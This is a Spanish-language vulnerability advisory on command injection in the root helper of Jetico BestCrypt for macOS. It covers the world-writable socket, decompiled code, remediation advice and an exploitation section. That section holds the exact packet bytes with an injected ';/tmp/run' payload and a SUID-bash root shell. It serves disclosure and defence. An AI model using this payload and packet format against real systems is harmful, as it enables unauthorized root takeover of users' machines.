Escalamiento de privilegios en macOS Jetico Bestcrypt vía inyección de comandos
Resumen
Se identificó un escalamiento de privilegios local en un servicio auxiliar privilegiado, lo que permite la ejecución arbitraria de comandos con privilegios de root.
Detalles
La aplicación Jetico BestCrypt, responsable de la protección de datos en endpoints, el cifrado y el borrado de datos, instala un módulo llamado com.jetico.Bestcrypt.helper, el cual realiza diversas operaciones como el montaje de volúmenes o la apertura de dispositivos de bloque. Este servicio se ejecuta con privilegios de root, y se identificó una oportunidad de escalamiento de privilegios mediante inyección de comandos, lo que permite la ejecución de comandos arbitrarios en un contexto de altos privilegios.
com.jetico.Bestcrypt.helper
Al analizar el archivo PLIST del Launch Daemon del servicio com.jetico.Bestcrypt.helper, se pueden observar varios aspectos importantes:
La aplicación no expone un servicio Mach con nombre para la comunicación entre procesos (IPC); en su lugar, utiliza un socket de dominio Unix ubicado en /var/run/com.jetico.BestCrypt.helper.
Los permisos del socket están configurados en 438 (0666), lo que permite que cualquier usuario local inicie una conexión con el servicio.
Si la autenticación del cliente no se aplica correctamente (por ejemplo, mediante el uso de getsockopt con SO_PEERCRED para validar el UID/GID del proceso que se conecta), esta configuración podría permitir el acceso no autorizado a un servicio privilegiado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.jetico.BestCrypt.helper</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Sockets</key>
<dict>
<key>BestCrypt</key>
<dict>
<key>SockPathMode</key>
<integer>438</integer>
<key>SockPathName</key>
<string>/var/run/com.jetico.BestCrypt.helper</string>
</dict>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.jetico.BestCrypt.helper</string>
</array>
</dict>
</plist>
|
Ingeniería Reversa
La función main es responsable de instalar la extensión de kernel bcrypt (kext). A continuación, inicia el servicio invocando la función startServer, la cual inicializa el socket Unix. Posteriormente, se llama a la función _main.cold.1 para gestionar las conexiones entrantes de los clientes y procesar los búferes recibidos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| 100004d7c int64_t _main()
100004d7c {
100004d7c int64_t rax = *(uint64_t*)___stack_chk_guard;
100004d9c _system("/etc/bcrypt stop");
100004da8 _system("/etc/bcrypt start");
100004db4 int32_t rax_1 = startServer("/var/run/com.jetico.BestCrypt.he…");
100004dbb void var_84;
100004dbb struct sockaddr var_80[0x7];
100004dbb
100004dbb if (rax_1 >= 0)
100004dd5 _main.cold.1(&var_80, &var_84, rax_1);
100004dbb else
100004dc4 logError("Unable to start helper");
100004dc4
100004de8 if (*(uint64_t*)___stack_chk_guard == rax)
100004df8 return 1;
100004df8
100004df8 ___stack_chk_fail();
100004df8 /* no return */
100004d7c }
|
Dentro de _main.cold.1, se llama a la función accept, y la conexión entrante se pasa a la función handleCommand().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
100006f32 int64_t _main.cold.1(struct sockaddr* arg1, int32_t* arg2, int32_t arg3)
100006f32 {
100006f32 int64_t rax = *(uint64_t*)___stack_chk_guard;
100006f5a *(uint32_t*)arg2 = 0x6a;
100006f6e int32_t socket_1 = _accept(arg3, arg1, arg2);
100006f6e
100006f75 if (socket_1 >= 0)
100006f75 {
100006f77 int32_t socket = socket_1;
100006fd8 int32_t i;
100006fd8
100006fd8 do
100006fd8 {
100006f90 _printf("bcrypt_helper - %s\n", "accepted connection");
100006fa0 _syslog(5, "bcrypt_helper - %s\n", "accepted connection");
100006faf BCHelperAnswer answer;
100006faf handleCommand(socket, &answer);
100006fb7 _close(socket);
100006fbc *(uint32_t*)arg2 = 0x6a;
100006fce i = _accept(arg3, arg1, arg2);
100006fd3 socket = i;
100006fd8 } while (i >= 0);
100006f75 }
100006f75
100006fe1 logError("accept failed");
100006fec _close(arg3);
100006ff8 int64_t result = *(uint64_t*)___stack_chk_guard;
100006ff8
100006fff if (result == rax)
100007013 return result;
100007013
100007013 ___stack_chk_fail();
100007013 /* no return */
100006f32 }
|
La función handleCommand puede resumirse de la siguiente manera:
- En primer lugar, recibe un búfer de
12 bytes (0x0c) que representa el encabezado del paquete, el cual especifica la acción que debe ejecutarse.
Por ejemplo, el valor 0xbc000106 activa la función de montaje de volúmenes.
A continuación, durante la segunda llamada a recv, el servidor lee el cuerpo del mensaje, es decir, la carga útil enviada por el cliente, que contiene los parámetros necesarios para la acción solicitada.
En el caso del montaje de un volumen, esta carga útil especifica qué volumen debe montarse.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
| 100004c5c uint64_t handleCommand(int32_t socket, BCHelperAnswer& answer)
100004c5c {
100004c5c int64_t rax = *(uint64_t*)___stack_chk_guard;
100004c87 _bzero(answer, 0x210);
100004c96 *(uint64_t*)answer = -0x43ffeffefffffdf0;
100004ca7 int32_t buffer;
100004ca7 int64_t length;
100004ca7 BCHelperAnswer* rsi_1;
100004ca7 length = _recv(socket, &buffer, 0xc, 0);
100004cb0 int32_t rbx;
100004cb0
100004cb0 if (length != 0xc)
100004cb0 {
100004d5c handleCommand.cold.3(answer, rsi_1);
100004d61 rbx = -0x43ffefff;
100004cb0 }
100004cb0 else
100004cb0 {
100004cc9 void var_48;
100004cc9 BCHelperFileData* buffer_2 =
100004cc9 &var_48 - (((uint64_t)(buffer + 1) + 0xf) & 0xfffffffffffffff0);
100004cda int64_t length_2;
100004cda BCHelperAnswer* rsi_3;
100004cda length_2 = _recv(socket, buffer_2, (uint64_t)buffer, 0);
100004cea int32_t var_3c;
100004cea
100004cea if (length_2 < 0 || length_2 != (uint64_t)buffer)
100004cea {
100004d2d handleCommand.cold.1(answer, rsi_3);
100004d32 rbx = -0x43ffefff;
100004cea }
100004cea else if (var_3c == 0xbc000106)
100004cf4 {
100004d17 rbx = mountVolume(buffer_2, answer);
100004d19 *(uint32_t*)((char*)answer + 4) = rbx;
100004d23 sendAnswer(socket, answer);
100004cf4 }
100004cf4 else if (var_3c != 0xbc000101)
100004cfb {
100004d6b handleCommand.cold.2(answer, rsi_3);
100004d70 rbx = -0x43ffefff;
100004d19 *(uint32_t*)((char*)answer + 4) = rbx;
100004d23 sendAnswer(socket, answer);
100004cfb }
100004cfb else
100004d08 rbx = openBlockDevice(buffer_2, socket);
100004cb0 }
100004cb0
100004d48 if (*(uint64_t*)___stack_chk_guard == rax)
100004d77 return (uint64_t)rbx;
100004d77
100004d77 ___stack_chk_fail();
100004d77 /* no return */
100004c5c }
|
La función handleCommand realiza las siguientes acciones:
Toma la carga útil recibida y construye una cadena de comandos, ya sea como "diskutil mount /dev/%s" o como "diskutil mount -mountPoint \"%s\" /dev/%s", según el contexto.
El comando formateado se ejecuta posteriormente mediante system() sin ningún tipo de sanitización.
Esto implica que un atacante podría inyectar comandos arbitrarios más allá de diskutil, lo que da lugar a una inyección de comandos en un contexto privilegiado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| 100004ab3 uint64_t mountVolume(BCMountVolumeData* buffer_2, BCHelperAnswer& answer)
100004ab3 {
100004ab3 int64_t rax = *(uint64_t*)___stack_chk_guard;
100004af1 _printf("bcrypt_helper - %s\n", "handle mount volume");
100004b03 BCHelperAnswer* rsi =
100004b03 _syslog(5, "bcrypt_helper - %s\n", "handle mount volume");
100004b0b uint64_t rax_3;
100004b0b
100004b0b if (buffer_2)
100004b14 rax_3 = _strlen(buffer_2);
.
.
.
<SNIP>
.
.
.
100004b3f if (!*(uint8_t*)((char*)buffer_2 + 0x10))
100004b7b _snprintf(&var_238, 0x200, "diskutil mount /dev/%s", buffer_2);
100004b3f else
100004b5c _snprintf(&var_238, 0x200, "diskutil mount -mountPoint \"%s\" /dev/%s",
100004b5c (char*)buffer_2 + 0x10, buffer_2);
100004b5c
100004b96 _printf("bcrypt_helper - %s\n", &var_238);
100004ba8 _syslog(5, "bcrypt_helper - %s\n", &var_238);
100004bb0 int32_t rax_8 = _system(&var_238);
100004bb5 rcx_3 = -0x43fff000;
|
Explotación
Lo siguiente demuestra que la inyección de comandos es efectivamente posible, lo que resultó en la ejecución de código como root. Con fines de demostración, /tmp/run es un script que copia el binario de bash, establece el bit SUID y, de este modo, permite que cualquier usuario lo ejecute con el parámetro -p. Como resultado, el proceso se ejecuta con un ID de usuario efectivo (EUID) igual a 0, otorgando de facto privilegios de root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ~ % cat /tmp/run
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
~ % ls -l /private/tmp/rootbash
ls: /private/tmp/rootbash: No such file or directory
~ % python3 Exploit.py
[+] msg1: `%s`
b'\x10\x00\x00\x00\x06\x01\x00\xbcAAAA'
[+] msg2: `%s`
b't;/tmp/run\x00\x00\x00\x00\x00\x00'
~ % ls -l /private/tmp/rootbash
-r-sr-xr-x 1 root wheel 1326576 Jul 3 21:28 /private/tmp/rootbash
~ % whoami
garrido
~ % /private/tmp/rootbash -p
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
rootbash-3.2# whoami
root
rootbash-3.2#
|
Al revisar los registros del sistema, se observó que el servicio com.jetico.BestCrypt.helper aceptó la conexión y ejecutó la operación de “montaje de volumen”, la cual contenía nuestro comando malicioso.
1
2
3
4
5
| sh-3.2# log stream --style syslog --predicate 'eventMessage contains[c] "bcrypt_helper"'
Filtering the log data using "composedMessage CONTAINS[c] "bcrypt_helper""
Timestamp (process)[PID]
2025-07-03 21:28:28.092495-0400 localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - accepted connection
2025-07-03 21:28:28.092802-0400 localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - handle mount volume
|
Recomendaciones
- Restringir los permisos del socket
Asegurar que el socket Unix ubicado en /var/run/com.jetico.BestCrypt.helper no sea accesible globalmente:
Cambiar los permisos de 0666 a un modo más restrictivo, como 0600 o 0660.
Establecer como propietario y grupo del socket a un usuario y/o grupo del sistema dedicado, al que solo pertenezcan los procesos autorizados.
- Autenticar explícitamente a los clientes
Implementar autenticación del cliente antes de procesar cualquier comando:
- Utilizar
getpeereid() (en macOS/BSD) o getsockopt(..., SO_PEERCRED, ...) (en Linux) para obtener el UID/GID del cliente que establece la conexión.
- Validar y sanitizar toda la entrada
Validar estrictamente todos los campos de entrada (como nombres de volúmenes, rutas o comandos).
Evitar pasar directamente datos proporcionados por el cliente a comandos de shell o intérpretes.
Referencias